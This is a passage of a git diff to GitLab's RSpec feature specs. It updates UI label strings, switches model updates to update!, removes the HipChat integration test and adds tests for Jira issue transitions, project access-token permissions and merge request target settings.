expect(page).to have_selector('table.ci-table > tbody > tr > td', text: 'blocked user schedule')
end
@@ -1185,7 +1185,7 @@ RSpec.describe 'Pipeline', :js do
let(:role) { :guest }
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
context 'when accessing failed jobs page' do
diff --git a/spec/features/projects/pipelines/pipelines_spec.rb b/spec/features/projects/pipelines/pipelines_spec.rb
index 9037aa5c9a8..e375bc10dbf 100644
--- a/spec/features/projects/pipelines/pipelines_spec.rb
+++ b/spec/features/projects/pipelines/pipelines_spec.rb
@@ -14,7 +14,6 @@ RSpec.describe 'Pipelines', :js do
sign_in(user)
stub_feature_flags(graphql_pipeline_details: false)
stub_feature_flags(graphql_pipeline_details_users: false)
- stub_feature_flags(new_pipelines_table: false)
project.add_developer(user)
project.update!(auto_devops_attributes: { enabled: false })
@@ -94,12 +93,12 @@ RSpec.describe 'Pipelines', :js do
wait_for_requests
end
- it 'renders run pipeline link' do
- expect(page).to have_link('Run Pipeline')
+ it 'renders "CI lint" link' do
+ expect(page).to have_link('CI lint')
end
- it 'renders ci lint link' do
- expect(page).to have_link('CI Lint')
+ it 'renders "Run pipeline" link' do
+ expect(page).to have_link('Run pipeline')
end
end
@@ -534,7 +533,7 @@ RSpec.describe 'Pipelines', :js do
end
it 'renders a mini pipeline graph' do
- expect(page).to have_selector('[data-testid="widget-mini-pipeline-graph"]')
+ expect(page).to have_selector('[data-testid="pipeline-mini-graph"]')
expect(page).to have_selector(dropdown_selector)
end
@@ -677,7 +676,7 @@ RSpec.describe 'Pipelines', :js do
end
it 'creates a new pipeline' do
- expect { click_on 'Run Pipeline' }
+ expect { click_on 'Run pipeline' }
.to change { Ci::Pipeline.count }.by(1)
expect(Ci::Pipeline.last).to be_web
@@ -690,7 +689,7 @@ RSpec.describe 'Pipelines', :js do
fill_in "Input variable value", with: "value"
end
- expect { click_on 'Run Pipeline' }
+ expect { click_on 'Run pipeline' }
.to change { Ci::Pipeline.count }.by(1)
expect(Ci::Pipeline.last.variables.map { |var| var.slice(:key, :secret_value) })
@@ -701,7 +700,7 @@ RSpec.describe 'Pipelines', :js do
context 'without gitlab-ci.yml' do
before do
- click_on 'Run Pipeline'
+ click_on 'Run pipeline'
end
it { expect(page).to have_content('Missing CI config file') }
@@ -714,44 +713,13 @@ RSpec.describe 'Pipelines', :js do
click_link 'master'
end
- expect { click_on 'Run Pipeline' }
+ expect { click_on 'Run pipeline' }
.to change { Ci::Pipeline.count }.by(1)
end
end
end
end
- describe 'Run Pipelines' do
- let(:project) { create(:project, :repository) }
-
- before do
- stub_feature_flags(new_pipeline_form: false)
- visit new_project_pipeline_path(project)
- end
-
- describe 'new pipeline page' do
- it 'has field to add a new pipeline' do
- expect(page).to have_selector('.js-branch-select')
- expect(find('.js-branch-select')).to have_content project.default_branch
- expect(page).to have_content('Run for')
- end
- end
-
- describe 'find pipelines' do
- it 'shows filtered pipelines', :js do
- click_button project.default_branch
-
- page.within '.dropdown-menu' do
- find('.dropdown-input-field').native.send_keys('fix')
-
- page.within '.dropdown-content' do
- expect(page).to have_content('fix')
- end
- end
- end
- end
- end
-
describe 'Reset runner caches' do
let(:project) { create(:project, :repository) }
@@ -762,17 +730,17 @@ RSpec.describe 'Pipelines', :js do
end
it 'has a clear caches button' do
- expect(page).to have_button 'Clear Runner Caches'
+ expect(page).to have_button 'Clear runner caches'
end
describe 'user clicks the button' do
context 'when project already has jobs_cache_index' do
before do
- project.update(jobs_cache_index: 1)
+ project.update!(jobs_cache_index: 1)
end
it 'increments jobs_cache_index' do
- click_button 'Clear Runner Caches'
+ click_button 'Clear runner caches'
wait_for_requests
expect(page.find('.flash-notice')).to have_content 'Project cache successfully reset.'
end
@@ -780,7 +748,7 @@ RSpec.describe 'Pipelines', :js do
context 'when project does not have jobs_cache_index' do
it 'sets jobs_cache_index to 1' do
- click_button 'Clear Runner Caches'
+ click_button 'Clear runner caches'
wait_for_requests
expect(page.find('.flash-notice')).to have_content 'Project cache successfully reset.'
end
@@ -788,6 +756,37 @@ RSpec.describe 'Pipelines', :js do
end
end
+ describe 'Run Pipelines' do
+ let(:project) { create(:project, :repository) }
+
+ before do
+ stub_feature_flags(new_pipeline_form: false)
+ visit new_project_pipeline_path(project)
+ end
+
+ describe 'new pipeline page' do
+ it 'has field to add a new pipeline' do
+ expect(page).to have_selector('.js-branch-select')
+ expect(find('.js-branch-select')).to have_content project.default_branch
+ expect(page).to have_content('Run for')
+ end
+ end
+
+ describe 'find pipelines' do
+ it 'shows filtered pipelines', :js do
+ click_button project.default_branch
+
+ page.within '.dropdown-menu' do
+ find('.dropdown-input-field').native.send_keys('fix')
+
+ page.within '.dropdown-content' do
+ expect(page).to have_content('fix')
+ end
+ end
+ end
+ end
+ end
+
describe 'Empty State' do
let(:project) { create(:project, :repository) }
diff --git a/spec/features/projects/releases/user_views_edit_release_spec.rb b/spec/features/projects/releases/user_views_edit_release_spec.rb
index bb54b6be9c4..024c0a227c5 100644
--- a/spec/features/projects/releases/user_views_edit_release_spec.rb
+++ b/spec/features/projects/releases/user_views_edit_release_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe 'User edits Release', :js do
end
it 'renders the edit Release form' do
- expect(page).to have_content('Releases are based on Git tags. We recommend tags that use semantic versioning, for example v1.0, v2.0-pre.')
+ expect(page).to have_content('Releases are based on Git tags. We recommend tags that use semantic versioning, for example v1.0.0, v2.1.0-pre.')
expect(find_field('Tag name', disabled: true).value).to eq(release.tag)
expect(find_field('Release title').value).to eq(release.name)
diff --git a/spec/features/projects/releases/user_views_release_spec.rb b/spec/features/projects/releases/user_views_release_spec.rb
index 186122536ce..4410f345e56 100644
--- a/spec/features/projects/releases/user_views_release_spec.rb
+++ b/spec/features/projects/releases/user_views_release_spec.rb
@@ -5,7 +5,6 @@ require 'spec_helper'
RSpec.describe 'User views Release', :js do
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
- let(:graphql_feature_flag) { true }
let(:release) do
create(:release,
@@ -15,8 +14,6 @@ RSpec.describe 'User views Release', :js do
end
before do
- stub_feature_flags(graphql_individual_release_page: graphql_feature_flag)
-
project.add_developer(user)
sign_in(user)
@@ -26,35 +23,23 @@ RSpec.describe 'User views Release', :js do
it_behaves_like 'page meta description', 'Lorem ipsum dolor sit amet'
- shared_examples 'release page' do
- it 'renders the breadcrumbs' do
- within('.breadcrumbs') do
- expect(page).to have_content("#{project.creator.name} #{project.name} Releases #{release.name}")
-
- expect(page).to have_link(project.creator.name, href: user_path(project.creator))
- expect(page).to have_link(project.name, href: project_path(project))
- expect(page).to have_link('Releases', href: project_releases_path(project))
- expect(page).to have_link(release.name, href: project_release_path(project, release))
- end
- end
+ it 'renders the breadcrumbs' do
+ within('.breadcrumbs') do
+ expect(page).to have_content("#{project.creator.name} #{project.name} Releases #{release.name}")
- it 'renders the release details' do
- within('.release-block') do
- expect(page).to have_content(release.name)
- expect(page).to have_content(release.tag)
- expect(page).to have_content(release.commit.short_id)
- expect(page).to have_content('Lorem ipsum dolor sit amet')
- end
+ expect(page).to have_link(project.creator.name, href: user_path(project.creator))
+ expect(page).to have_link(project.name, href: project_path(project))
+ expect(page).to have_link('Releases', href: project_releases_path(project))
+ expect(page).to have_link(release.name, href: project_release_path(project, release))
end
end
- describe 'when the graphql_individual_release_page feature flag is enabled' do
- it_behaves_like 'release page'
- end
-
- describe 'when the graphql_individual_release_page feature flag is disabled' do
- let(:graphql_feature_flag) { false }
-
- it_behaves_like 'release page'
+ it 'renders the release details' do
+ within('.release-block') do
+ expect(page).to have_content(release.name)
+ expect(page).to have_content(release.tag)
+ expect(page).to have_content(release.commit.short_id)
+ expect(page).to have_content('Lorem ipsum dolor sit amet')
+ end
end
end
diff --git a/spec/features/projects/remote_mirror_spec.rb b/spec/features/projects/remote_mirror_spec.rb
index 26d27c914cc..7bbffe627f6 100644
--- a/spec/features/projects/remote_mirror_spec.rb
+++ b/spec/features/projects/remote_mirror_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Project remote mirror', :feature do
context 'when last_error is present but last_update_at is not' do
it 'renders error message without timstamp' do
- remote_mirror.update(last_error: 'Some new error', last_update_at: nil)
+ remote_mirror.update!(last_error: 'Some new error', last_update_at: nil)
visit project_mirror_path(project)
@@ -25,7 +25,7 @@ RSpec.describe 'Project remote mirror', :feature do
context 'when last_error and last_update_at are present' do
it 'renders error message with timestamp' do
- remote_mirror.update(last_error: 'Some new error', last_update_at: Time.now - 5.minutes)
+ remote_mirror.update!(last_error: 'Some new error', last_update_at: Time.now - 5.minutes)
visit project_mirror_path(project)
diff --git a/spec/features/projects/services/disable_triggers_spec.rb b/spec/features/projects/services/disable_triggers_spec.rb
index b3a3d7f0622..d9e200cf563 100644
--- a/spec/features/projects/services/disable_triggers_spec.rb
+++ b/spec/features/projects/services/disable_triggers_spec.rb
@@ -12,10 +12,10 @@ RSpec.describe 'Disable individual triggers', :js do
end
context 'service has multiple supported events' do
- let(:service_name) { 'HipChat' }
+ let(:service_name) { 'Jenkins' }
it 'shows trigger checkboxes' do
- event_count = HipchatService.supported_events.count
+ event_count = JenkinsService.supported_events.count
expect(page).to have_content "Trigger"
expect(page).to have_css(checkbox_selector, visible: :all, count: event_count)
diff --git a/spec/features/projects/services/user_activates_asana_spec.rb b/spec/features/projects/services/user_activates_asana_spec.rb
index e95e7e89fc2..cf2290383e8 100644
--- a/spec/features/projects/services/user_activates_asana_spec.rb
+++ b/spec/features/projects/services/user_activates_asana_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'User activates Asana' do
it 'activates service', :js do
visit_project_integration('Asana')
- fill_in('Api key', with: 'verySecret')
+ fill_in('API key', with: 'verySecret')
fill_in('Restrict to branch', with: 'verySecret')
click_test_then_save_integration
diff --git a/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb b/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb
index a9d91454670..91db375be3a 100644
--- a/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb
+++ b/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb
@@ -10,19 +10,20 @@ RSpec.describe 'User activates Atlassian Bamboo CI' do
end
it 'activates service', :js do
- visit_project_integration('Atlassian Bamboo CI')
- fill_in('Bamboo url', with: 'http://bamboo.example.com')
+ visit_project_integration('Atlassian Bamboo')
+ fill_in('Bamboo URL', with: 'http://bamboo.example.com')
fill_in('Build key', with: 'KEY')
fill_in('Username', with: 'user')
fill_in('Password', with: 'verySecret')
click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Atlassian Bamboo CI settings saved and active.')
+ expect(page).to have_content('Atlassian Bamboo settings saved and active.')
# Password field should not be filled in.
- click_link('Atlassian Bamboo CI')
+ click_link('Atlassian Bamboo')
- expect(find_field('Enter new Password').value).to be_blank
+ expect(find_field('Enter new password').value).to be_blank
+ expect(page).to have_content('Leave blank to use your current password')
end
end
diff --git a/spec/features/projects/services/user_activates_hipchat_spec.rb b/spec/features/projects/services/user_activates_hipchat_spec.rb
deleted file mode 100644
index cffb780e05d..00000000000
--- a/spec/features/projects/services/user_activates_hipchat_spec.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'User activates HipChat', :js do
- include_context 'project service activation'
-
- context 'with standard settings' do
- before do
- stub_request(:post, /.*api.hipchat.com.*/)
- end
-
- it 'activates service' do
- visit_project_integration('HipChat')
- fill_in('Room', with: 'gitlab')
- fill_in('Token', with: 'verySecret')
-
- click_test_then_save_integration(expect_test_to_fail: false)
-
- expect(page).to have_content('HipChat settings saved and active.')
- end
- end
-
- context 'with custom settings' do
- before do
- stub_request(:post, /.*chat.example.com.*/)
- end
-
- it 'activates service' do
- visit_project_integration('HipChat')
- fill_in('Room', with: 'gitlab_custom')
- fill_in('Token', with: 'secretCustom')
- fill_in('Server', with: 'https://chat.example.com')
-
- click_test_then_save_integration(expect_test_to_fail: false)
-
- expect(page).to have_content('HipChat settings saved and active.')
- end
- end
-end
diff --git a/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb b/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb
index 72881054c6c..17bfe8fc1e2 100644
--- a/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb
+++ b/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb
@@ -10,16 +10,16 @@ RSpec.describe 'User activates JetBrains TeamCity CI' do
end
it 'activates service', :js do
- visit_project_integration('JetBrains TeamCity CI')
+ visit_project_integration('JetBrains TeamCity')
check('Push')
check('Merge Request')
- fill_in('Teamcity url', with: 'http://teamcity.example.com')
+ fill_in('TeamCity server URL', with: 'http://teamcity.example.com')
fill_in('Build type', with: 'GitlabTest_Build')
fill_in('Username', with: 'user')
fill_in('Password', with: 'verySecret')
click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('JetBrains TeamCity CI settings saved and active.')
+ expect(page).to have_content('JetBrains TeamCity settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_jira_spec.rb b/spec/features/projects/services/user_activates_jira_spec.rb
index 85afc54be48..10f84aae93f 100644
--- a/spec/features/projects/services/user_activates_jira_spec.rb
+++ b/spec/features/projects/services/user_activates_jira_spec.rb
@@ -6,12 +6,13 @@ RSpec.describe 'User activates Jira', :js do
include_context 'project service activation'
include_context 'project service Jira context'
+ before do
+ stub_request(:get, test_url).to_return(body: { key: 'value' }.to_json)
+ end
+
describe 'user tests Jira Service' do
context 'when Jira connection test succeeds' do
before do
- server_info = { key: 'value' }.to_json
- stub_request(:get, test_url).with(basic_auth: %w(username password)).to_return(body: server_info)
-
visit_project_integration('Jira')
fill_form
click_test_then_save_integration(expect_test_to_fail: false)
@@ -81,4 +82,68 @@ RSpec.describe 'User activates Jira', :js do
end
end
end
+
+ describe 'issue transition settings' do
+ it 'using custom transitions' do
+ visit_project_integration('Jira')
+
+ expect(page).to have_field('Enable Jira transitions', checked: false)
+
+ check 'Enable Jira transitions'
+
+ expect(page).to have_field('Move to Done', checked: true)
+
+ fill_form
+ choose 'Use custom transitions'
+ click_save_integration
+
+ within '[data-testid="issue-transition-mode"]' do
+ expect(page).to have_content('This field is required.')
+ end
+
+ fill_in 'service[jira_issue_transition_id]', with: '1, 2, 3'
+ click_save_integration
+
+ expect(page).to have_content('Jira settings saved and active.')
+ expect(project.reload.jira_service.data_fields).to have_attributes(
+ jira_issue_transition_automatic: false,
+ jira_issue_transition_id: '1, 2, 3'
+ )
+ end
+
+ it 'using automatic transitions' do
+ create(:jira_service, project: project, jira_issue_transition_automatic: false, jira_issue_transition_id: '1, 2, 3')
+ visit_project_integration('Jira')
+
+ expect(page).to have_field('Enable Jira transitions', checked: true)
+ expect(page).to have_field('Use custom transitions', checked: true)
+ expect(page).to have_field('service[jira_issue_transition_id]', with: '1, 2, 3')
+
+ choose 'Move to Done'
+ click_save_integration
+
+ expect(page).to have_content('Jira settings saved and active.')
+ expect(project.reload.jira_service.data_fields).to have_attributes(
+ jira_issue_transition_automatic: true,
+ jira_issue_transition_id: ''
+ )
+ end
+
+ it 'disabling issue transitions' do
+ create(:jira_service, project: project, jira_issue_transition_automatic: true, jira_issue_transition_id: '1, 2, 3')
+ visit_project_integration('Jira')
+
+ expect(page).to have_field('Enable Jira transitions', checked: true)
+ expect(page).to have_field('Move to Done', checked: true)
+
+ uncheck 'Enable Jira transitions'
+ click_save_integration
+
+ expect(page).to have_content('Jira settings saved and active.')
+ expect(project.reload.jira_service.data_fields).to have_attributes(
+ jira_issue_transition_automatic: false,
+ jira_issue_transition_id: ''
+ )
+ end
+ end
end
diff --git a/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb b/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
index 88812fc188b..54a501e89a2 100644
--- a/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
+++ b/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Set up Mattermost slash commands', :js do
let(:mattermost_enabled) { true }
it 'shows a help message' do
- expect(page).to have_content("This service allows users to perform common")
+ expect(page).to have_content("Use this service to perform common")
end
it 'shows a token placeholder' do
diff --git a/spec/features/projects/services/user_activates_pushover_spec.rb b/spec/features/projects/services/user_activates_pushover_spec.rb
index 3cfd069032a..97003ab7c2a 100644
--- a/spec/features/projects/services/user_activates_pushover_spec.rb
+++ b/spec/features/projects/services/user_activates_pushover_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe 'User activates Pushover' do
it 'activates service', :js do
visit_project_integration('Pushover')
- fill_in('Api key', with: 'verySecret')
+ fill_in('API key', with: 'verySecret')
fill_in('User key', with: 'verySecret')
fill_in('Device', with: 'myDevice')
select('High Priority', from: 'Priority')
diff --git a/spec/features/projects/services/user_activates_slack_notifications_spec.rb b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
index 2a880e05e0f..0cba1ee1c4c 100644
--- a/spec/features/projects/services/user_activates_slack_notifications_spec.rb
+++ b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'User activates Slack notifications', :js do
before do
service.fields
- service.update(
+ service.update!(
push_channel: 1,
issue_channel: 2,
merge_request_channel: 3,
diff --git a/spec/features/projects/services/user_views_services_spec.rb b/spec/features/projects/services/user_views_services_spec.rb
index fef6b7bd991..b936a7f38f6 100644
--- a/spec/features/projects/services/user_views_services_spec.rb
+++ b/spec/features/projects/services/user_views_services_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User views services' do
+RSpec.describe 'User views services', :js do
include_context 'project service activation'
it 'shows the list of available services' do
@@ -10,7 +10,7 @@ RSpec.describe 'User views services' do
expect(page).to have_content('Integrations')
expect(page).to have_content('Campfire')
- expect(page).to have_content('HipChat')
+ expect(page).to have_content('Jira')
expect(page).to have_content('Assembla')
expect(page).to have_content('Pushover')
expect(page).to have_content('Atlassian Bamboo')
diff --git a/spec/features/projects/settings/access_tokens_spec.rb b/spec/features/projects/settings/access_tokens_spec.rb
index 45fe19deb8e..8083c851bb7 100644
--- a/spec/features/projects/settings/access_tokens_spec.rb
+++ b/spec/features/projects/settings/access_tokens_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
RSpec.describe 'Project > Settings > Access Tokens', :js do
let_it_be(:user) { create(:user) }
let_it_be(:bot_user) { create(:user, :project_bot) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
before_all do
project.add_maintainer(user)
@@ -33,6 +34,18 @@ RSpec.describe 'Project > Settings > Access Tokens', :js do
find('#created-personal-access-token').value
end
+ context 'when user is not a project maintainer' do
+ before do
+ project.add_developer(user)
+ end
+
+ it 'does not show project access token page' do
+ visit project_settings_access_tokens_path(project)
+
+ expect(page).to have_content("Page Not Found")
+ end
+ end
+
describe 'token creation' do
it 'allows creation of a project access token' do
name = 'My project access token'
@@ -57,6 +70,81 @@ RSpec.describe 'Project > Settings > Access Tokens', :js do
expect(active_project_access_tokens).to have_text('read_api')
expect(created_project_access_token).not_to be_empty
end
+
+ context 'when token creation is not allowed' do
+ before do
+ group.namespace_settings.update_column(:resource_access_token_creation_allowed, false)
+ end
+
+ it 'does not show project access token creation form' do
+ visit project_settings_access_tokens_path(project)
+
+ expect(page).not_to have_selector('#new_project_access_token')
+ end
+
+ it 'shows project access token creation disabled text' do
+ visit project_settings_access_tokens_path(project)
+
+ expect(page).to have_text('Project access token creation is disabled in this group. You can still use and manage existing tokens.')
+ end
+
+ context 'with a project in a personal namespace' do
+ let(:personal_project) { create(:project) }
+
+ before do
+ personal_project.add_maintainer(user)
+ end
+
+ it 'shows project access token creation form and text' do
+ visit project_settings_access_tokens_path(personal_project)
+
+ expect(page).to have_selector('#new_project_access_token')
+ expect(page).to have_text('You can generate an access token scoped to this project for each application to use the GitLab API.')
+ end
+ end
+
+ context 'group settings link' do
+ context 'when user is not a group owner' do
+ before do
+ group.add_developer(user)
+ end
+
+ it 'does not show group settings link' do
+ visit project_settings_access_tokens_path(project)
+
+ expect(page).not_to have_link('group settings', href: edit_group_path(group))
+ end
+ end
+
+ context 'with nested groups' do
+ let(:subgroup) { create(:group, parent: group) }
+
+ context 'when user is not a top level group owner' do
+ before do
+ subgroup.add_owner(user)
+ end
+
+ it 'does not show group settings link' do
+ visit project_settings_access_tokens_path(project)
+
+ expect(page).not_to have_link('group settings', href: edit_group_path(group))
+ end
+ end
+ end
+
+ context 'when user is a group owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'shows group settings link' do
+ visit project_settings_access_tokens_path(project)
+
+ expect(page).to have_link('group settings', href: edit_group_path(group))
+ end
+ end
+ end
+ end
end
describe 'active tokens' do
@@ -83,11 +171,25 @@ RSpec.describe 'Project > Settings > Access Tokens', :js do
end
it 'removes expired tokens from active section' do
- project_access_token.update(expires_at: 5.days.ago)
+ project_access_token.update!(expires_at: 5.days.ago)
visit project_settings_access_tokens_path(project)
expect(page).to have_selector('.settings-message')
expect(no_project_access_tokens_message).to have_text(no_active_tokens_text)
end
+
+ context 'when resource access token creation is not allowed' do
+ before do
+ group.namespace_settings.update_column(:resource_access_token_creation_allowed, false)
+ end
+
+ it 'allows revocation of an active token' do
+ visit project_settings_access_tokens_path(project)
+ accept_confirm { click_on 'Revoke' }
+
+ expect(page).to have_selector('.settings-message')
+ expect(no_project_access_tokens_message).to have_text(no_active_tokens_text)
+ end
+ end
end
end
diff --git a/spec/features/projects/settings/forked_project_settings_spec.rb b/spec/features/projects/settings/forked_project_settings_spec.rb
index f6c25d483ad..a84516e19f9 100644
--- a/spec/features/projects/settings/forked_project_settings_spec.rb
+++ b/spec/features/projects/settings/forked_project_settings_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
end
shared_examples 'project settings for a forked projects' do
- it 'allows deleting the link to the forked project' do
+ it 'allows deleting the link to the forked project', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/327817' do
visit edit_project_path(forked_project)
click_button 'Remove fork relationship'
@@ -25,7 +25,8 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
fill_in('confirm_name_input', with: forked_project.name)
click_button('Confirm')
- expect(page).to have_content('The fork relationship has been removed.')
+ wait_for_requests
+
expect(forked_project.reload.forked?).to be_falsy
end
end
diff --git a/spec/features/projects/settings/operations_settings_spec.rb b/spec/features/projects/settings/operations_settings_spec.rb
index fe0ee52e4fa..ca976997142 100644
--- a/spec/features/projects/settings/operations_settings_spec.rb
+++ b/spec/features/projects/settings/operations_settings_spec.rb
@@ -146,7 +146,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
click_button('Connect')
- assert_text('Connection has failed. Re-check Auth Token and try again.')
+ assert_text('Connection failed. Check Auth Token and try again.')
end
end
end
diff --git a/spec/features/projects/settings/registry_settings_spec.rb b/spec/features/projects/settings/registry_settings_spec.rb
index 6e4082d1391..bc60cdd2f8e 100644
--- a/spec/features/projects/settings/registry_settings_spec.rb
+++ b/spec/features/projects/settings/registry_settings_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
select('7 days', from: 'Remove tags older than:')
fill_in('Remove tags matching:', with: '.*-production')
- submit_button = find('.btn.gl-button.btn-success')
+ submit_button = find('[data-testid="save-button"')
expect(submit_button).not_to be_disabled
submit_button.click
end
@@ -53,7 +53,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
within '#js-registry-policies' do
fill_in('Remove tags matching:', with: '*-production')
- submit_button = find('.btn.gl-button.btn-success')
+ submit_button = find('[data-testid="save-button"')
expect(submit_button).not_to be_disabled
submit_button.click
end
diff --git a/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb b/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb
index 397c334a2b8..ebda5c9ff59 100644
--- a/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb
+++ b/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb
@@ -2,6 +2,8 @@
require 'spec_helper'
RSpec.describe 'Projects > Settings > User manages merge request settings' do
+ include ProjectForksHelper
+
let(:user) { create(:user) }
let(:project) { create(:project, :public, namespace: user.namespace, path: 'gitlab', name: 'sample') }
@@ -198,4 +200,36 @@ RSpec.describe 'Projects > Settings > User manages merge request settings' do
expect(project.reload.project_setting.squash_option).to eq('never')
end
end
+
+ describe 'target project settings' do
+ context 'when project is a fork' do
+ let_it_be(:upstream) { create(:project, :public) }
+
+ let(:project) { fork_project(upstream, user) }
+
+ it 'allows to change merge request target project behavior' do
+ expect(page).to have_content 'The default target project for merge requests'
+
+ radio = find_field('project_project_setting_attributes_mr_default_target_self_false')
+ expect(radio).to be_checked
+
+ choose('project_project_setting_attributes_mr_default_target_self_true')
+
+ within('.merge-request-settings-form') do
+ find('.rspec-save-merge-request-changes')
+ click_on('Save changes')
+ end
+
+ find('.flash-notice')
+ radio = find_field('project_project_setting_attributes_mr_default_target_self_true')
+
+ expect(radio).to be_checked
+ expect(project.reload.project_setting.mr_default_target_self).to be_truthy
+ end
+ end
+
+ it 'does not show target project section' do
+ expect(page).not_to have_content 'The default target project for merge requests'
+ end
+ end
end
diff --git a/spec/features/projects/settings/user_searches_in_settings_spec.rb b/spec/features/projects/settings/user_searches_in_settings_spec.rb
index 4c5b39d5282..9b09958bae5 100644
--- a/spec/features/projects/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/projects/settings/user_searches_in_settings_spec.rb
@@ -4,16 +4,42 @@ require 'spec_helper'
RSpec.describe 'User searches project settings', :js do
let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :repository, namespace: user.namespace) }
+ let_it_be(:project) { create(:project, :repository, namespace: user.namespace, pages_https_only: false) }
before do
sign_in(user)
end
context 'in general settings page' do
- let(:visit_path) { edit_project_path(project) }
+ before do
+ visit edit_project_path(project)
+ end
+
+ it_behaves_like 'can search settings', 'Naming', 'Visibility'
+ end
+
+ context 'in Integrations page' do
+ before do
+ visit project_settings_integrations_path(project)
+ end
+
+ it_behaves_like 'can highlight results', 'third-party applications'
+ end
+
+ context 'in Webhooks page' do
+ before do
+ visit project_hooks_path(project)
+ end
- it_behaves_like 'can search settings with feature flag check', 'Naming', 'Visibility'
+ it_behaves_like 'can highlight results', 'Secret token'
+ end
+
+ context 'in Access Tokens page' do
+ before do
+ visit project_settings_access_tokens_path(project)
+ end
+
+ it_behaves_like 'can highlight results', 'Expires at'
end
context 'in Repository page' do
@@ -37,6 +63,16 @@ RSpec.describe 'User searches project settings', :js do
visit project_settings_operations_path(project)
end
- it_behaves_like 'can search settings', 'Alerts', 'Error tracking'
+ it_behaves_like 'can search settings', 'Alert integrations', 'Error tracking'
+ end
+
+ context 'in Pages page' do
+ before do
+ allow(Gitlab.config.pages).to receive(:enabled).and_return(true)
+
+ visit project_pages_path(project)
+ end
+
+ it_behaves_like 'can highlight results', 'static website'
end
end
diff --git a/spec/features/projects/settings/user_sees_revoke_deploy_token_modal_spec.rb b/spec/features/projects/settings/user_sees_revoke_deploy_token_modal_spec.rb
index d0f297d2067..eed3494ef5b 100644
--- a/spec/features/projects/settings/user_sees_revoke_deploy_token_modal_spec.rb
+++ b/spec/features/projects/settings/user_sees_revoke_deploy_token_modal_spec.rb
@@ -13,16 +13,10 @@ RSpec.describe 'Repository Settings > User sees revoke deploy token modal', :js
sign_in(user)
stub_feature_flags(ajax_new_deploy_token: project)
visit(project_settings_repository_path(project))
- click_link('Revoke')
+ click_button('Revoke')
end
it 'shows the revoke deploy token modal' do
expect(page).to have_content('You are about to revoke')
end
-
- it 'closes the revoke deploy token modal with escape keypress' do
- find('.modal.show').send_keys(:escape)
-
- expect(page).not_to have_content('You are about to revoke')
- end
end
diff --git a/spec/features/projects/show/user_sees_deletion_failure_message_spec.rb b/spec/features/projects/show/user_sees_deletion_failure_message_spec.rb
index 5e878411f6a..b7af0c29b33 100644
--- a/spec/features/projects/show/user_sees_deletion_failure_message_spec.rb
+++ b/spec/features/projects/show/user_sees_deletion_failure_message_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe 'Projects > Show > User sees a deletion failure message' do
end
it 'shows error message if deletion for project fails' do
- project.update(delete_error: "Something went wrong", pending_delete: false)
+ project.update!(delete_error: "Something went wrong", pending_delete: false)
visit project_path(project)
diff --git a/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb b/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
index 9b51e867156..dc551158895 100644
--- a/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
+++ b/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
@@ -226,11 +226,11 @@ RSpec.describe 'Projects > Show > User sees setup shortcut buttons' do
expect(project.repository.gitlab_ci_yml).to be_nil
page.within('.project-buttons') do
- expect(page).to have_link('Set up CI/CD', href: presenter.add_ci_yml_path)
+ expect(page).to have_link('Set up CI/CD', href: project_ci_pipeline_editor_path(project))
end
end
- it 'no "Set up CI/CD" button if the project already has a .gitlab-ci.yml' do
+ it '"Set up CI/CD" button is renamed if the project already has a .gitlab-ci.yml' do
Files::CreateService.new(
project,
project.creator,
@@ -247,6 +247,7 @@ RSpec.describe 'Projects > Show > User sees setup shortcut buttons' do
page.within('.project-buttons') do
expect(page).not_to have_link('Set up CI/CD')
+ expect(page).to have_link('CI/CD configuration')
end
end
end
diff --git a/spec/features/projects/show/user_uploads_files_spec.rb b/spec/features/projects/show/user_uploads_files_spec.rb
index 2030c4d998a..eb230082bfa 100644
